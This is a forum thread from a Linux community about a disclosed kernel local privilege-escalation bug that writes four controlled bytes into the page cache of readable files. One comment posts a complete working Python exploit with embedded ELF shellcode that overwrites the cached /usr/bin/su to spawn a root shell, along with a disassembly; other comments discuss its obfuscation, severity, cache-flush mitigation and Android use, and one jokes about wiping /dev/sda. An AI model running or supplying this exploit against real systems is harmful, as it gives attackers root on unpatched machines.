this post was submitted on 29 Apr 2026
221 points (100.0% liked)

Linux

64958 readers
415 users here now

From Wikipedia, the free encyclopedia

Linux is a family of open source Unix-like operating systems based on the Linux kernel, an operating system kernel first released on September 17, 1991 by Linus Torvalds. Linux is typically packaged in a Linux distribution (or distro for short).

Distributions include the Linux kernel and supporting system software and libraries, many of which are provided by the GNU Project. Many Linux distributions use the word "Linux" in their name, but the Free Software Foundation uses the name GNU/Linux to emphasize the importance of GNU software, causing some controversy.

Rules

Related Communities

Community icon by Alpár-Etele Méder, licensed under CC BY 3.0

founded 7 years ago
MODERATORS
all 34 comments
sorted by: hot top controversial new old
[–] timroerstroem@feddit.dk 12 points 18 hours ago

Worth mentioning that the fix was merged into 6.19.12 (and 7.0; probably also the LTSs, but I didn't bother to check those).

[–] pseud@lemmy.zip 37 points 1 day ago* (last edited 12 hours ago)

Script:

#!/usr/bin/env python3

import os, socket

f = os.open("/usr/bin/su", 0)

e = b'\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00>\x00\x01\x00\x00\x00x\x00@\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x008\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x9e\x00\x00\x00\x00\x00\x00\x00\x9e\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x001\xc01\xff\xb0i\x0f\x05H\x8d=\x0f\x00\x00\x001\xf6j;X\x99\x0f\x051\xffj<X\x0f\x05/bin/sh\x00\x00\x00'

for i in range(0, len(e), 4):
    s = socket.socket(38, 5, 0)
    s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    s.setsockopt(279, 1, bytes.fromhex('0800010000000010' + '0' * 64))
    s.setsockopt(279, 5, None, 4)
    u, _ = s.accept()
    u.sendmsg([b"AAAA" + e[i:i + 4]],
              [(279, 3, b'\x00\x00\x00\x00'),
               (279, 2, b'\x10' + b'\x00' * 19),
               (279, 4, b'\x08\x00\x00\x00'), ],
              32768)
    r, w = os.pipe()
    os.splice(f, w, i + 4, offset_src=0)
    os.splice(r, u.fileno(), i + 4)
    try:
        u.recv(8 + i)
    except: pass

os.system("su")

Blob:

0x00400078      eax = 0
0x0040007a      edi = 0
0x0040007c      al = 0x69                 ; 'i' ; 105
0x0040007e      syscall                   ; sys_setuid(0)
0x00400080      rdi = rip + 0xf           ; data.00400096
                                          ; 0x400096 ; "/bin/sh"
0x00400087      esi = 0
0x00400089      push 0x3b                 ; ';' ; 59
0x0040008b      pop rax
0x0040008c      cdq
0x0040008d      syscall                   ; sys_execve("/bin/sh", NULL, NULL)
0x0040008f      edi = 0
0x00400091      push 0x3c                 ; '<' ; 60
0x00400093      pop rax
0x00400094      syscall                   ; sys_exit(0)

The blob is obviously a stub-su that /usr/bin/su page cache is poisoned with.

[–] MoogleMaestro@lemmy.zip 59 points 1 day ago (2 children)

It's a bit strange that this code requires a binary blob to verify, I think people who want to experiment with this should take some caution as it could be an exploit-in-an-exploit (user is highlighting a real exploit, but also trying to take advantage of people testing by effectively installing a back-door.) I won't say that's happening for sure, but take running this yourself with extreme caution.

[–] AcornTickler@sh.itjust.works 17 points 23 hours ago (2 children)

BLOB already includes "binary". That's what the first B is for.

Sorry, couldn't stop myself.

[–] embed_me@programming.dev 15 points 22 hours ago

No one means BLOB when they say blob, it's a backronym mostly for fun

[–] Aatube@piefed.social 1 points 13 hours ago

Apparently that's only for blob storage (now "object storage), not https://en.wikipedia.org/wiki/Binary_blob

[–] Aatube@piefed.social 4 points 1 day ago (2 children)

The compressed binary blob is just a 160 B ELF when uncompressed. I don't think you can do much with that.

[–] quick_snail@feddit.nl 8 points 17 hours ago

I bet you could gain root on many old kernels

[–] atzanteol@sh.itjust.works 8 points 23 hours ago (1 children)

You could probably write all zeros to a file. Say, /dev/sda?

[–] flyingSock@feddit.org 5 points 22 hours ago* (last edited 22 hours ago)
[–] BlackEco@lemmy.blackeco.com 85 points 1 day ago* (last edited 1 day ago) (4 children)

The Python script to check if you are vulnerable is extremely suspicious and hard to decipher.

[–] rabber@lemmy.ca 46 points 1 day ago (1 children)

I agree. This seems fishy to me. I am concerned about compressed code in a public disclosure like this. Also it seems like all the documentation was written by AI.

[–] hendrik@palaver.p3x.de 42 points 1 day ago

The entire page is an advertisement for an AI tool that helped uncover it. Guess that's the demonstration on how it augments a report.

[–] treadful@lemmy.zip 36 points 1 day ago (2 children)

Very quick cursory review: The python script appears to decompress what might be an ELF from those compressed bytes. Then it opens a cryptography socket (AF_ALG) with the kernel and sends that whole thing.

So the exploit is in the binary data and would likely take some skilled Linux engineers to decompile it and figure out the exploit.

I'm not entirely sure why they would obfuscate it. Maybe they think it helps with responsible disclosure so people can't make something more useful than the PoC?

[–] sun_is_ra@sh.itjust.works 41 points 1 day ago* (last edited 1 day ago)

I can at least tell you what it does because I tested it:

It override your /usr/bin/su so that it now let you run as root with no password.

My guess is that the payload is an su command that was modified to run without requiring password but it's also possible - though unlikely - that it just patch your existing su.

either way if you will run the script, you need to backup your existing su command first.

Correction: The script doesn't permanently modify the su file instead it modifies a cached copy of the file in memory. restarting your device or doing echo 3 > /proc/sys/vm/drop_caches to flush the cache restore the su file to its original state

[–] Aatube@piefed.social 7 points 1 day ago

I'm not sure how much of it is obfuscation and how much of it is golfing. Ze golfed it so ze could make the pretty valid "just 732 bytes python script" claim.

The compression could very well be just a way to write a binary in Python plaintext. ChatGPT claims it just attempts to sudo, run /bin/sh if that succeeds, and exit if that fails.

[–] sun_is_ra@sh.itjust.works 5 points 1 day ago

Here it is after improving readability a little

https://pastebin.com/iW8BRrdX

[–] eager_eagle@lemmy.world 36 points 1 day ago* (last edited 1 day ago) (2 children)

wtf

An unprivileged local user can write 4 controlled bytes into the page cache of any readable file on a Linux system, and use that to gain root.

If your kernel was built between 2017 and the patch — which covers essentially every mainstream Linux distribution — you're in scope.

how does that only get a CVE score of 7.8, the impact of this is huge

[–] Bitflip@lemmy.ml 69 points 1 day ago (2 children)

Probably because the attack vector is having a user account on the target

[–] nyan@sh.itjust.works 26 points 1 day ago (2 children)

Exactly. It's Yet Another Privilege Escalation Vulnerability. Unless you're dealing with a multiuser machine, the attacker first needs to use some other vuln to get into an unprivileged account. Without that additional vulnerability, this exploit is useless.

[–] solrize@lemmy.ml 18 points 1 day ago (1 children)

some other vuln

You mean like inveigling it into a pypi or npm or whatever package? Checks out.

[–] Aatube@piefed.social 12 points 1 day ago

That's privilege escalation for you. 7.8 is pretty high.

[–] tomalley8342@lemmy.world 4 points 1 day ago* (last edited 1 day ago) (2 children)

Yet another? Are there really so many LPEVs in linux?

[–] olosta@lemmy.world 5 points 15 hours ago

I manage multi user systems and try to be on top of this and no, privilege escalation with a working public exploit are very rare. There's quite a lot of CVEs with potential privilege excalation, but most of the time there is no real world exploit. And a large part of those are related to user namespaces in one way or another.

This one is truly scary, at least the immediate mitigation is pretty straightforward.

[–] nyan@sh.itjust.works 6 points 1 day ago

Well, it often feels like every "Linux security issue" flagged in the tech press is a privilege escalation, but I admit that I haven't sat down and done the math.

[–] Technus@lemmy.zip 12 points 1 day ago (1 children)

"The exploit is coming from inside the house!"

[–] sakuraba@lemmy.ml 6 points 1 day ago* (last edited 1 day ago)

hey these exploits keep the lights on for some tech youtubers, stop making fun of it!! it is very dangerous!!!

(video titled: LINUX HAS BEEN HACKED, AGAIN?!)

[–] KairuByte@lemmy.dbzer0.com 22 points 1 day ago

It’s not an interaction-less RCE, for one.

[–] Sims@lemmy.ml 21 points 1 day ago (2 children)

Hm, I could use that on a few Android devices..

[–] klankin@piefed.ca 3 points 12 hours ago* (last edited 12 hours ago)

SElinux blocks this for aosp and its forks.

[–] sun_is_ra@sh.itjust.works 12 points 1 day ago (1 children)

there is no su binary in most android devices sadly

[–] BradleyUffner@lemmy.world 6 points 17 hours ago* (last edited 17 hours ago) (1 children)

Does it have to actually be su? Couldn't this replace any other existing privileged program with the fake su in theory?

[–] sun_is_ra@sh.itjust.works 9 points 16 hours ago* (last edited 16 hours ago)

In order to use this exploit you need a program that has UID bit set and the file owned by the user you want to use itheir privilages.

For example su (among other commands) has that UID bit set and because the owner of the file is root then when you execute it, it always runs with root privileges

Most Android devices use SELinux (Security Enhanced Linux) which is configured in such way that you couldn't have root access even if you could run a program owned by root and has the UID bit set.

What you could do - in theory - is finding a process already running with root privileges and happened to be executing certain command periodically. you could then override that certain program in cache using this exploit to do what you want.